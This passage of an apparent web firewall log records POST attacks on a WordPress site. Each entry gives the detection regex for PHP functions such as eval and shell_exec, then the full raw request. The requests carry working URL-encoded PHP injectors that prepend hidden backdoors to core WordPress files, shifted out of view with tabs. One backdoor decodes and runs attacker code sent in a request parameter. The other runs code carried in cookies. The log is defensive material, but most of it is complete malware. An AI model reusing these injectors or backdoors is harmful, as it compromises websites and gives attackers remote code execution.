2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4081\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nEr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:53:46","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4104\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:55:17","67.205.18.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4354\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nJx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:55:28","188.138.39.67","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 